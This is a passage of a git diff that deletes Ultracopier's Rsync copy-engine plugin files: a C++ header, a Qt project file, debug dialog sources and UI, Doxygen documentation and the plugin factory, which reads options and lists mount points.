- * \param sources the sources list to move
- * \return true if the move have been accepted */
- bool newMove(const QStringList &sources);
- /** \brief send move without destination, ask the destination
- * \param sources the sources list to move
- * \param destination the destination to move
- * \return true if the move have been accepted */
- bool newMove(const QStringList &sources,const QString &destination);
- /** \brief send the new transfer list
- * \param file the transfer list */
- void newTransferList(const QString &file);
-
- /** \brief to get byte read, use by Ultracopier for the speed calculation
- * real size transfered to right speed calculation */
- quint64 realByteTransfered();
- //speed limitation
- /** \brief get the speed limitation
- * < -1 if not able, 0 if disabled */
- qint64 getSpeedLimitation();
- //get collision action
- /** \brief get the collision action list */
- QList<QPair<QString,QString> > getCollisionAction();
- /** \brief get the collision error list */
- QList<QPair<QString,QString> > getErrorAction();
-
- /** \brief to set drives detected
- * specific to this copy engine */
- void setDrive(const QStringList &drives);
-
- /** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
- void syncTransferList();
-
- void set_doChecksum(bool doChecksum);
- void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
- void set_checksumOnlyOnError(bool checksumOnlyOnError);
- void set_osBuffer(bool osBuffer);
- void set_osBufferLimited(bool osBufferLimited);
- void set_osBufferLimit(unsigned int osBufferLimit);
- void set_setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-public slots:
- //user ask ask to add folder (add it with interface ask source/destination)
- /** \brief add folder called on the interface
- * Used by manual adding */
- bool userAddFolder(const CopyMode &mode);
- /** \brief add file called on the interface
- * Used by manual adding */
- bool userAddFile(const CopyMode &mode);
- //action on the copy
- /// \brief put the transfer in pause
- void pause();
- /// \brief resume the transfer
- void resume();
- /** \brief skip one transfer entry
- * \param id id of the file to remove */
- void skip(const quint64 &id);
- /// \brief cancel all the transfer
- void cancel();
- //edit the transfer list
- /** \brief remove the selected item
- * \param ids ids is the id list of the selected items */
- void removeItems(const QList<int> &ids);
- /** \brief move on top of the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsOnTop(const QList<int> &ids);
- /** \brief move up the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsUp(const QList<int> &ids);
- /** \brief move down the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsDown(const QList<int> &ids);
- /** \brief move on bottom of the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsOnBottom(const QList<int> &ids);
-
- /** \brief give the forced mode, to export/import transfer list */
- void forceMode(const CopyMode &mode);
- /// \brief export the transfer list into a file
- void exportTransferList();
- /// \brief import the transfer list into a file
- void importTransferList();
-
- /** \brief to set the speed limitation
- * -1 if not able, 0 if disabled */
- bool setSpeedLimitation(const qint64 &speedLimitation);
- //action
- /// \brief to set the collision action
- void setCollisionAction(const QString &action);
- /// \brief to set the error action
- void setErrorAction(const QString &action);
-
- // specific to this copy engine
-
- /// \brief set if the rights shoul be keep
- void setRightTransfer(const bool doRightTransfer);
- /// \brief set keep date
- void setKeepDate(const bool keepDate);
- /// \brief set block size in KB
- void setBlockSize(const int blockSize);
- /// \brief set auto start
- void setAutoStart(const bool autoStart);
- /// \brief set rsync
- void setRsync(const bool rsync);
- /// \brief set if need check if the destination folder exists
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- /// \brief reset widget
- void resetTempWidget();
- //autoconnect
- void on_comboBoxFolderColision_currentIndexChanged(int index);
- void on_comboBoxFolderError_currentIndexChanged(int index);
- /// \brief need retranslate the insterface
- void newLanguageLoaded();
-private slots:
- void setComboBoxFolderColision(FolderExistsAction action,bool changeComboBox=true);
- void setComboBoxFolderError(FileErrorAction action,bool changeComboBox=true);
- void warningTransferList(const QString &warning);
- void errorTransferList(const QString &error);
-signals:
- //send information about the copy
- void actionInProgess(EngineActionInProgress); //should update interface information on this event
-
- void newActionOnList(const QList<returnActionOnCopyList> &);///very important, need be temporized to group the modification to do and not flood the interface
- void syncReady();
-
- /** \brief to get the progression for a specific file
- * \param id the id of the transfer, id send during population the transfer list
- * first = current transfered byte, second = byte to transfer */
- void pushFileProgression(const QList<ProgressionItem> &progressionList);
- //get information about the copy
- /** \brief to get the general progression
- * first = current transfered byte, second = byte to transfer */
- void pushGeneralProgression(const quint64 &,const quint64 &);
-
- void newFolderListing(const QString &path);
- void newCollisionAction(const QString &action);
- void newErrorAction(const QString &action);
- void isInPause(bool);
-
- //action on the copy
- void signal_pause();
- void signal_resume();
- void signal_skip(const quint64 &id);
-
- //edit the transfer list
- void signal_removeItems(const QList<int> &ids);
- void signal_moveItemsOnTop(const QList<int> &ids);
- void signal_moveItemsUp(const QList<int> &ids);
- void signal_moveItemsDown(const QList<int> &ids);
- void signal_moveItemsOnBottom(const QList<int> &ids);
-
- void signal_forceMode(const CopyMode &mode);
- void signal_exportTransferList(const QString &fileName);
- void signal_importTransferList(const QString &fileName);
-
- //action
- void signal_setCollisionAction(FileExistsAction alwaysDoThisActionForFileExists);
- void signal_setComboBoxFolderColision(FolderExistsAction action);
- void signal_setFolderColision(FolderExistsAction action);
-
- //when the cancel is clicked on copy engine dialog
- void cancelAll();
-
- //internal cancel
- void tryCancel();
-
- //when can be deleted
- void canBeDeleted();
-
- //send error occurred
- void error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error);
- //for the extra logging
- void rmPath(const QString &path);
- void mkPath(const QString &path);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
-
- //other signals
- void queryOneNewDialog();
-
- void send_osBufferLimit(const unsigned int &osBufferLimit);
- void send_setFilters(const QList<Filters_rules> &include,const QList<Filters_rules> &exclude);
- void send_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-};
-
-#endif // COPY_ENGINE_H
diff --git a/plugins-alternative/CopyEngine/Rsync/copyEngine.pro b/plugins-alternative/CopyEngine/Rsync/copyEngine.pro
deleted file mode 100644
index 13ab523..0000000
--- a/plugins-alternative/CopyEngine/Rsync/copyEngine.pro
+++ /dev/null
@@ -1,82 +0,0 @@
-TEMPLATE = lib
-CONFIG += plugin
-HEADERS = copyEngine.h \
- StructEnumDefinition.h \
- scanFileOrFolder.h \
- fileErrorDialog.h \
- fileExistsDialog.h \
- fileIsSameDialog.h \
- factory.h \
- StructEnumDefinition_CopyEngine.h \
- DebugEngineMacro.h \
- Variable.h \
- debugDialog.h \
- TransferThread.h \
- ReadThread.h \
- WriteThread.h \
- RmPath.h \
- MkPath.h \
- folderExistsDialog.h \
- AvancedQFile.h \
- ListThread.h \
- ../../../interface/PluginInterface_CopyEngine.h \
- ../../../interface/OptionInterface.h \
- ../../../interface/FacilityInterface.h \
- Filters.h \
- FilterRules.h \
- RenamingRules.h
-SOURCES = copyEngine.cpp \
- scanFileOrFolder.cpp \
- fileErrorDialog.cpp \
- fileExistsDialog.cpp \
- fileIsSameDialog.cpp \
- factory.cpp \
- debugDialog.cpp \
- TransferThread.cpp \
- ReadThread.cpp \
- WriteThread.cpp \
- RmPath.cpp \
- MkPath.cpp \
- folderExistsDialog.cpp \
- AvancedQFile.cpp \
- copyEngine-collision-and-error.cpp \
- ListThread.cpp \
- Filters.cpp \
- FilterRules.cpp \
- RenamingRules.cpp \
- ListThread_InodeAction.cpp
-TARGET = $$qtLibraryTarget(copyEngine)
-TRANSLATIONS += Languages/fr/translation.ts \
- Languages/ar/translation.ts \
- Languages/zh/translation.ts \
- Languages/es/translation.ts \
- Languages/de/translation.ts \
- Languages/el/translation.ts \
- Languages/it/translation.ts \
- Languages/ja/translation.ts \
- Languages/id/translation.ts \
- Languages/pl/translation.ts \
- Languages/ru/translation.ts \
- Languages/tr/translation.ts \
- Languages/th/translation.ts \
- Languages/hi/translation.ts \
- Languages/nl/translation.ts \
- Languages/no/translation.ts \
- Languages/pt/translation.ts \
- Languages/ko/translation.ts
-
-FORMS += \
- options.ui \
- fileErrorDialog.ui \
- fileExistsDialog.ui \
- fileIsSameDialog.ui \
- debugDialog.ui \
- folderExistsDialog.ui \
- Filters.ui \
- FilterRules.ui \
- RenamingRules.ui
-
-OTHER_FILES += informations.xml
-
-RESOURCES += \
- resources.qrc
diff --git a/plugins-alternative/CopyEngine/Rsync/debugDialog.cpp b/plugins-alternative/CopyEngine/Rsync/debugDialog.cpp
deleted file mode 100644
index a03aec0..0000000
--- a/plugins-alternative/CopyEngine/Rsync/debugDialog.cpp
+++ /dev/null
@@ -1,70 +0,0 @@
-/** \file debugDialog.cpp
-\brief Define the dialog to have debug information
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include "debugDialog.h"
-#include "ui_debugDialog.h"
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-
-debugDialog::debugDialog(QWidget *parent) :
- QWidget(parent),
- ui(new Ui::debugDialog)
-{
- ui->setupUi(this);
-}
-
-debugDialog::~debugDialog()
-{
- delete ui;
-}
-
-void debugDialog::setTransferList(const QStringList &list)
-{
- if(list.size()==ui->tranferList->count())
- {
- int index=0;
- while(index<list.size())
- {
- ui->tranferList->item(index)->setText(list.at(index));
- index++;
- }
- }
- else
- {
- ui->tranferList->clear();
- ui->tranferList->addItems(list);
- }
-}
-
-void debugDialog::setActiveTransfer(int activeTransfer)
-{
- ui->spinBoxActiveTransfer->setValue(activeTransfer);
-}
-
-void debugDialog::setInodeUsage(int inodeUsage)
-{
- ui->spinBoxNumberOfInode->setValue(inodeUsage);
-}
-
-void debugDialog::setTransferThreadList(const QStringList &list)
-{
- if(list.size()==ui->transferThreadList->count())
- {
- int index=0;
- while(index<list.size())
- {
- ui->transferThreadList->item(index)->setText(list.at(index));
- index++;
- }
- }
- else
- {
- ui->transferThreadList->clear();
- ui->transferThreadList->addItems(list);
- }
-}
-
-#endif
diff --git a/plugins-alternative/CopyEngine/Rsync/debugDialog.h b/plugins-alternative/CopyEngine/Rsync/debugDialog.h
deleted file mode 100644
index 3d48857..0000000
--- a/plugins-alternative/CopyEngine/Rsync/debugDialog.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/** \file debugDialog.h
-\brief Define the dialog to have debug information
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#ifndef DEBUGDAILOG_H
-#define DEBUGDAILOG_H
-
-#include "Environment.h"
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-#include <QWidget>
-
-namespace Ui {
- class debugDialog;
-}
-
-/// \brief class to the dialog to have debug information
-class debugDialog : public QWidget
-{
- Q_OBJECT
-public:
- explicit debugDialog(QWidget *parent = 0);
- ~debugDialog();
- /// \brief to set the transfer list, limited in result to not slow down the application
- void setTransferList(const QStringList &list);
- /// \brief show the transfer thread, it show be a thread pool in normal time
- void setTransferThreadList(const QStringList &list);
- /// \brief show how many transfer is active
- void setActiveTransfer(int activeTransfer);
- /// \brief show many many inode is manipulated
- void setInodeUsage(int inodeUsage);
-private:
- Ui::debugDialog *ui;
-};
-
-#endif // ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-
-#endif // DEBUGDAILOG_H
diff --git a/plugins-alternative/CopyEngine/Rsync/debugDialog.ui b/plugins-alternative/CopyEngine/Rsync/debugDialog.ui
deleted file mode 100644
index 0df03be..0000000
--- a/plugins-alternative/CopyEngine/Rsync/debugDialog.ui
+++ /dev/null
@@ -1,100 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>debugDialog</class>
- <widget class="QWidget" name="debugDialog">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>665</width>
- <height>392</height>
- </rect>
- </property>
- <property name="windowTitle">
- <string notr="true">Monitor</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout">
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_4">
- <item>
- <widget class="QGroupBox" name="groupBox">
- <property name="title">
- <string notr="true">Transfer thread</string>
- </property>
- <layout class="QHBoxLayout" name="horizontalLayout_3">
- <item>
- <widget class="QListWidget" name="transferThreadList">
- <property name="uniformItemSizes">
- <bool>true</bool>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- <item>
- <widget class="QGroupBox" name="groupBox_2">
- <property name="title">
- <string notr="true">Transfer list</string>
- </property>
- <layout class="QHBoxLayout" name="horizontalLayout_2">
- <item>
- <widget class="QListWidget" name="tranferList">
- <property name="uniformItemSizes">
- <bool>true</bool>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <widget class="QGroupBox" name="groupBox_3">
- <property name="title">
- <string notr="true">Variables</string>
- </property>
- <layout class="QGridLayout" name="gridLayout_2">
- <item row="0" column="0">
- <widget class="QLabel" name="label">
- <property name="text">
- <string notr="true">Active transfer:</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QSpinBox" name="spinBoxActiveTransfer">
- <property name="readOnly">
- <bool>true</bool>
- </property>
- <property name="maximum">
- <number>9999</number>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_2">
- <property name="text">
- <string notr="true">Number of inode manipuled:</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QSpinBox" name="spinBoxNumberOfInode">
- <property name="readOnly">
- <bool>true</bool>
- </property>
- <property name="maximum">
- <number>9999</number>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- </layout>
- </widget>
- <resources/>
- <connections/>
-</ui>
diff --git a/plugins-alternative/CopyEngine/Rsync/documentation.dox b/plugins-alternative/CopyEngine/Rsync/documentation.dox
deleted file mode 100755
index 2ff6edd..0000000
--- a/plugins-alternative/CopyEngine/Rsync/documentation.dox
+++ /dev/null
@@ -1,42 +0,0 @@
-/* -*- mode: C++ ; c-file-style: "stroustrup" -*- **/
-
-/*
- This file contains NO source code, just some documentation for doxygen to
- parse.
-*/
-
-/*!
- \mainpage Copy engine 0.3
-
- \section mainpage_overview Overview
-
- The rsync copy engine for Ultracopier 0.3. Support file/folder, copy/move, ...\n
- Thanks to this engine, Ultracopier is transformed into GUI + rsync.
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project.
-
- \section mainpage_platforms Platforms
-
- This plugin might be usable in all environments where you find Qt 4, but Gcc is requiered for some part.\n
- This plugin requires Qt 4.5.x or newer. Tested on Qt 4.7. Due to optimization Qt 4.8 usage will be better.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
-
- \section mainpage_downloads Downloads
-
- You can found link on <a href="http://ultracopier.first-world.info/">Ultracopier (Supercopier/Teracopy)</a> project page, via git, snapshot sources, ...
-
- \section mainpage_algorithm Algorithm
-
- Like say previously you will have more informations on the wiki.\n
- Then file transfer is done via pipe mecamism system:\n
- <ul>
- <li>push at no blocking into table up to the table is full, after is blocked up to one entry is free</li>
- <li>Other thread read the table up to have no more data, then is blocked</li>
- </ul>
- The transfer thread do listing of the folder, removing folder, make folder is one thread for each.\n
- The transfer list, have thread pool to do the inode operation (open, close, set date, ...). Do all inode operation in parallele, but transfer the data as sequential.
-
- \section license GPL Version 3
- The code source is under GPL3. The image is extacted from Oxygen icon pack of KDE4.
-
-*/
-
diff --git a/plugins-alternative/CopyEngine/Rsync/factory.cpp b/plugins-alternative/CopyEngine/Rsync/factory.cpp
deleted file mode 100644
index 7ed27d4..0000000
--- a/plugins-alternative/CopyEngine/Rsync/factory.cpp
+++ /dev/null
@@ -1,420 +0,0 @@
-/** \file factory.cpp
-\brief Define the factory to create new instance
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
-#include <QFileDialog>
-
-#include "factory.h"
-
-Factory::Factory() :
- ui(new Ui::options())
-{
- tempWidget=new QWidget();
- ui->setupUi(tempWidget);
- errorFound=false;
- optionsEngine=NULL;
- filters=new Filters(tempWidget);
- renamingRules=new RenamingRules(tempWidget);
- #if defined (Q_OS_WIN32)
- QFileInfoList temp=QDir::drives();
- for (int i = 0; i < temp.size(); ++i) {
- mountSysPoint<<temp.at(i).filePath();
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"mountSysPoint: "+mountSysPoint.join(";"));
- #elif defined (Q_OS_LINUX)
- connect(&mount,SIGNAL(error(QProcess::ProcessError)), this,SLOT(error(QProcess::ProcessError)));
- connect(&mount,SIGNAL(finished(int,QProcess::ExitStatus)), this,SLOT(finished(int,QProcess::ExitStatus)));
- connect(&mount,SIGNAL(readyReadStandardOutput()), this,SLOT(readyReadStandardOutput()));
- connect(&mount,SIGNAL(readyReadStandardError()), this,SLOT(readyReadStandardError()));
- mount.start("mount");
- #endif
- connect(ui->doRightTransfer, SIGNAL(toggled(bool)), this,SLOT(setDoRightTransfer(bool)));
- connect(ui->keepDate, SIGNAL(toggled(bool)), this,SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), this,SLOT(setBlockSize(int)));
- connect(ui->autoStart, SIGNAL(toggled(bool)), this,SLOT(setAutoStart(bool)));
- connect(ui->rsync, SIGNAL(toggled(bool)), this,SLOT(setRsync(bool)));
- connect(ui->doChecksum, SIGNAL(toggled(bool)), this,SLOT(doChecksum_toggled(bool)));
- connect(ui->checksumIgnoreIfImpossible, SIGNAL(toggled(bool)), this,SLOT(checksumIgnoreIfImpossible_toggled(bool)));
- connect(ui->checksumOnlyOnError, SIGNAL(toggled(bool)), this,SLOT(checksumOnlyOnError_toggled(bool)));
- connect(ui->osBuffer, SIGNAL(toggled(bool)), this,SLOT(osBuffer_toggled(bool)));
- connect(ui->osBufferLimited, SIGNAL(toggled(bool)), this,SLOT(osBufferLimited_toggled(bool)));
- connect(ui->osBufferLimit, SIGNAL(editingFinished()), this,SLOT(osBufferLimit_editingFinished()));
-
- connect(filters,SIGNAL(sendNewFilters(QStringList,QStringList,QStringList,QStringList)),this,SLOT(sendNewFilters(QStringList,QStringList,QStringList,QStringList)));
- connect(ui->filters,SIGNAL(clicked()),this,SLOT(showFilterDialog()));
- connect(renamingRules,SIGNAL(sendNewRenamingRules(QString,QString)),this,SLOT(sendNewRenamingRules(QString,QString)));
- connect(ui->renamingRules,SIGNAL(clicked()),this,SLOT(showRenamingRules()));
-
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-Factory::~Factory()
-{
- delete renamingRules;
- delete filters;
- delete ui;
-}
-
-PluginInterface_CopyEngine * Factory::getInstance()
-{
- copyEngine *realObject=new copyEngine(facilityEngine);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(realObject,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif
- realObject->connectTheSignalsSlots();
- realObject->setDrive(mountSysPoint);
- PluginInterface_CopyEngine * newTransferEngine=realObject;
- connect(this,SIGNAL(reloadLanguage()),newTransferEngine,SLOT(newLanguageLoaded()));
- realObject->setRightTransfer( optionsEngine->getOptionValue("doRightTransfer").toBool());
- realObject->setKeepDate( optionsEngine->getOptionValue("keepDate").toBool());
- realObject->setBlockSize( optionsEngine->getOptionValue("blockSize").toInt());
- realObject->setAutoStart( optionsEngine->getOptionValue("autoStart").toBool());
- realObject->setRsync( optionsEngine->getOptionValue("rsync").toBool());
- realObject->on_comboBoxFolderColision_currentIndexChanged(ui->comboBoxFolderColision->currentIndex());
- realObject->on_comboBoxFolderError_currentIndexChanged(ui->comboBoxFolderError->currentIndex());
- realObject->setCheckDestinationFolderExists( optionsEngine->getOptionValue("checkDestinationFolder").toBool());
-
- realObject->set_doChecksum(optionsEngine->getOptionValue("doChecksum").toBool());
- realObject->set_checksumIgnoreIfImpossible(optionsEngine->getOptionValue("checksumIgnoreIfImpossible").toBool());
- realObject->set_checksumOnlyOnError(optionsEngine->getOptionValue("checksumOnlyOnError").toBool());
- realObject->set_osBuffer(optionsEngine->getOptionValue("osBuffer").toBool());
- realObject->set_osBufferLimited(optionsEngine->getOptionValue("osBufferLimited").toBool());
- realObject->set_osBufferLimit(optionsEngine->getOptionValue("osBufferLimit").toUInt());
- realObject->set_setFilters(optionsEngine->getOptionValue("includeStrings").toStringList(),
- optionsEngine->getOptionValue("includeOptions").toStringList(),
- optionsEngine->getOptionValue("excludeStrings").toStringList(),
- optionsEngine->getOptionValue("excludeOptions").toStringList()
- );
- realObject->setRenamingRules(optionsEngine->getOptionValue("firstRenamingRule").toString(),optionsEngine->getOptionValue("otherRenamingRule").toString());
- return newTransferEngine;
-}
-
-void Factory::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, writePath: "+writePath+", pluginPath:"+pluginPath);
- this->facilityEngine=facilityInterface;
- Q_UNUSED(portableVersion);
- #ifndef ULTRACOPIER_PLUGIN_DEBUG
- Q_UNUSED(writePath);
- Q_UNUSED(pluginPath);
- #endif
- #if ! defined (Q_CC_GNU)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Unable to change date time of files, only gcc is supported");
- #endif
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,COMPILERINFO);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MAX BUFFER BLOCK: "+QString::number(ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MIN TIMER INTERVAL: "+QString::number(ULTRACOPIER_PLUGIN_MINTIMERINTERVAL));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MAX TIMER INTERVAL: "+QString::number(ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"NUM SEM SPEED MANAGEMENT: "+QString::number(ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MAX PARALLEL INODE OPT: "+QString::number(ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MAX PARALLEL TRANFER: "+QString::number(ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER));
- #if defined (ULTRACOPIER_PLUGIN_CHECKLISTTYPE)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"CHECK LIST TYPE set");
- #else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"CHECK LIST TYPE not set");
- #endif
- if(options!=NULL)
- {
- optionsEngine=options;
- //load the options
- QList<QPair<QString, QVariant> > KeysList;
- KeysList.append(qMakePair(QString("doRightTransfer"),QVariant(true)));
- KeysList.append(qMakePair(QString("keepDate"),QVariant(true)));
- KeysList.append(qMakePair(QString("blockSize"),QVariant(1024)));//1024KB as default
- KeysList.append(qMakePair(QString("autoStart"),QVariant(true)));
- KeysList.append(qMakePair(QString("rsync"),QVariant(true)));
- KeysList.append(qMakePair(QString("folderError"),QVariant(0)));
- KeysList.append(qMakePair(QString("folderColision"),QVariant(0)));
- KeysList.append(qMakePair(QString("checkDestinationFolder"),QVariant(true)));
- KeysList.append(qMakePair(QString("includeStrings"),QVariant(QStringList())));
- KeysList.append(qMakePair(QString("includeOptions"),QVariant(QStringList())));
- KeysList.append(qMakePair(QString("excludeStrings"),QVariant(QStringList())));
- KeysList.append(qMakePair(QString("excludeOptions"),QVariant(QStringList())));
- KeysList.append(qMakePair(QString("doChecksum"),QVariant(true)));
- KeysList.append(qMakePair(QString("checksumIgnoreIfImpossible"),QVariant(true)));
- KeysList.append(qMakePair(QString("checksumOnlyOnError"),QVariant(true)));
- KeysList.append(qMakePair(QString("osBuffer"),QVariant(true)));
- KeysList.append(qMakePair(QString("firstRenamingRule"),QVariant("")));
- KeysList.append(qMakePair(QString("otherRenamingRule"),QVariant("")));
- #ifdef Q_OS_WIN32
- KeysList.append(qMakePair(QString("osBufferLimited"),QVariant(true)));
- #else
- KeysList.append(qMakePair(QString("osBufferLimited"),QVariant(false)));
- #endif
- KeysList.append(qMakePair(QString("osBufferLimit"),QVariant(512)));
- optionsEngine->addOptionGroup(KeysList);
- #if ! defined (Q_CC_GNU)
- ui->keepDate->setEnabled(false);
- ui->keepDate->setToolTip("Not supported with this compiler");
- #endif
- ui->doRightTransfer->setChecked(optionsEngine->getOptionValue("doRightTransfer").toBool());
- ui->keepDate->setChecked(optionsEngine->getOptionValue("keepDate").toBool());
- ui->blockSize->setValue(optionsEngine->getOptionValue("blockSize").toUInt());
- ui->autoStart->setChecked(optionsEngine->getOptionValue("autoStart").toBool());
- ui->rsync->setChecked(optionsEngine->getOptionValue("rsync").toBool());
- ui->comboBoxFolderError->setCurrentIndex(optionsEngine->getOptionValue("folderError").toUInt());
- ui->comboBoxFolderColision->setCurrentIndex(optionsEngine->getOptionValue("folderColision").toUInt());
- ui->checkBoxDestinationFolderExists->setChecked(optionsEngine->getOptionValue("checkDestinationFolder").toBool());
- ui->doChecksum->setChecked(optionsEngine->getOptionValue("doChecksum").toBool());
- ui->checksumIgnoreIfImpossible->setChecked(optionsEngine->getOptionValue("checksumIgnoreIfImpossible").toBool());
- ui->checksumOnlyOnError->setChecked(optionsEngine->getOptionValue("checksumOnlyOnError").toBool());
- ui->osBuffer->setChecked(optionsEngine->getOptionValue("osBuffer").toBool());
- ui->osBufferLimited->setChecked(optionsEngine->getOptionValue("osBufferLimited").toBool());
- ui->osBufferLimit->setValue(optionsEngine->getOptionValue("osBufferLimit").toUInt());
- filters->setFilters(optionsEngine->getOptionValue("includeStrings").toStringList(),
- optionsEngine->getOptionValue("includeOptions").toStringList(),
- optionsEngine->getOptionValue("excludeStrings").toStringList(),
- optionsEngine->getOptionValue("excludeOptions").toStringList()
- );
- renamingRules->setRenamingRules(optionsEngine->getOptionValue("firstRenamingRule").toString(),optionsEngine->getOptionValue("otherRenamingRule").toString());
- }
-}
-
-QStringList Factory::supportedProtocolsForTheSource()
-{
- return QStringList() << "file";
-}
-
-QStringList Factory::supportedProtocolsForTheDestination()
-{
- return QStringList() << "file";
-}
-
-CopyType Factory::getCopyType()
-{
- return FileAndFolder;
-}
-
-TransferListOperation Factory::getTransferListOperation()
-{
- return TransferListOperation_ImportExport;
-}
-
-bool Factory::canDoOnlyCopy()
-{
- return false;
-}
-
-void Factory::error(QProcess::ProcessError error)
-{
- #ifndef ULTRACOPIER_PLUGIN_DEBUG
- Q_UNUSED(error)
- #endif
- errorFound=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"have detected error: "+QString::number(error));
-}
-
-void Factory::finished(int exitCode, QProcess::ExitStatus exitStatus)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"exitCode: "+QString::number(exitCode)+", exitStatus: "+QString::number(exitStatus));
- #ifndef ULTRACOPIER_PLUGIN_DEBUG
- Q_UNUSED(exitCode)
- Q_UNUSED(exitStatus)
- #endif
- if(!StandardError.isEmpty())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"have finished with text on error output: "+StandardError);
- else if(errorFound)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"have finished with error and no text");
- {
- QStringList tempList=StandardOutput.split(QRegExp("[\n\r]+"));
- int index=0;
- while(index<tempList.size())
- {
- QString newString=tempList.at(index);
- newString=newString.remove(QRegExp("^.* on "));
- newString=newString.remove(QRegExp(" type .*$"));
- if(!newString.endsWith(QDir::separator()))
- newString+=QDir::separator();
- mountSysPoint<<newString;
- index++;
- }
- mountSysPoint.removeDuplicates();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"mountSysPoint: "+mountSysPoint.join(";"));
- }
-}
-
-void Factory::readyReadStandardError()
-{
- StandardError+=mount.readAllStandardError();
-}
-
-void Factory::readyReadStandardOutput()
-{
- StandardOutput+=mount.readAllStandardOutput();
-}
-
-void Factory::resetOptions()
-{
-}
-
-QWidget * Factory::options()
-{
- ui->autoStart->setChecked(optionsEngine->getOptionValue("autoStart").toBool());
- return tempWidget;
-}
-
-void Factory::setDoRightTransfer(bool doRightTransfer)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("doRightTransfer",doRightTransfer);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::setKeepDate(bool keepDate)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("keepDate",keepDate);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::setBlockSize(int blockSize)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("blockSize",blockSize);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::setAutoStart(bool autoStart)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("autoStart",autoStart);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::setRsync(bool rsync)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
